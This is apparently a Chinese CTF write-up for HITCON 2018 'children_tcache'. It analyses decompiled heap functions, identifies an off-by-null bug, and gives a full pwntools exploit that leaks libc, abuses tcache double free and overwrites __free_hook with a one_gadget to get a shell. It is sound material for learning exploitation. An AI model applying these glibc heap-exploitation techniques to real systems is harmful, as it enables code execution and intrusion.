hitcon_2018_children_tcache
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
64位,保护全开
unsigned __int64 ADD()
{
int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s[8216]; // [rsp+20h] [rbp-2020h] BYREF
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = READ();
if ( size > 0x2000 )
exit(-2);
dest = (char *)malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
sub_BC8((__int64)s, size);
strcpy(dest, s);
qword_202060[i] = dest;
qword_2020C0[i] = size;
return __readfsqword(0x28u) ^ v5;
}
add可以申请0x2000大小的chunk(一般我们也用不了那么大x
这里有个off by null
strcpy复制完之后,字符串末尾添加\x00
,所以我们可以溢出一个\x00
int SHOW()
{
__int64 v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = READ();
if ( v2 > 9 )
exit(-3);
v0 = qword_202060[v2];
if ( v0 )
LODWORD(v0) = puts((const char *)qword_202060[v2]);
return v0;
}
show这里就是打印指针指向的内容
int DELE()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = READ();
if ( v1 > 9 )
exit(-3);
if ( qword_202060[v1] )
{
memset((void *)qword_202060[v1], 0xDA, qword_2020C0[v1]);
free((void *)qword_202060[v1]);
qword_202060[v1] = 0LL;
qword_2020C0[v1] = 0LL;
}
return puts(":)");
}
dele 这里没有uaf,清空指针了
并且有个memset将chunk内的内容全部设置成0xda
本题是部署在libc-2.27
所以思路如下
,使用off by null 堆合并,然后使用tcache的doublefree控制fd,然后控制 malloc_hook
或者free_hook
,onegadget
getshell
剩下补充在exp详情,(并且再详细也会配图x
from pwn import*
from Yapack import *
libc=ELF('./libc-2.27.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",26633,"./pwn",0)
add(0x500,b'a')#0
add(0x68,b'a')#1
add(0x4f0,b'a')#2
add(0xf8,b'a')#3 #用来防止和top chunk合并
dele(0) #堆合并
dele(1)
for i in range(9): #这里是因为用off by null
add(0x68-i,b'a'*(0x68-i)) #把使用free时候,memset的0xDA的下一个chunk
dele(0) #prev_size清除掉,让我们放0x580
add(0x68,cyclic(0x60)+p64(0x580)) #改prev_size,并且把下一个chunk的inuse位清除掉
dele(2)
#到这里完成堆合并,但是chunk1的指针并没有free掉,所以我们申请掉上面的部分,
#unsortedbin切割掉,使其恰好指针指向chunk1,然后就能把main_arena泄露出来
#下面有图
add(0x508,'a'*0x507) #0x507是防止off by null漏洞影响
show(0)
leak=get_addr_u64()-96-0x10-libc.sym['__malloc_hook']
li(leak)
sys=system(leak)
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one=leak+0x4f322
free=freehook(leak)
#这里也可以用malloc_hook
add(0x68,b'a'*0x67)
dele(0)
dele(2)
add(0x60,p64(free))
add(0x60,b'a'*0x67)
add(0x60,p64(one))
li(one)
dele(0)
#debug()
ia()
补一下上面的图
然后getshell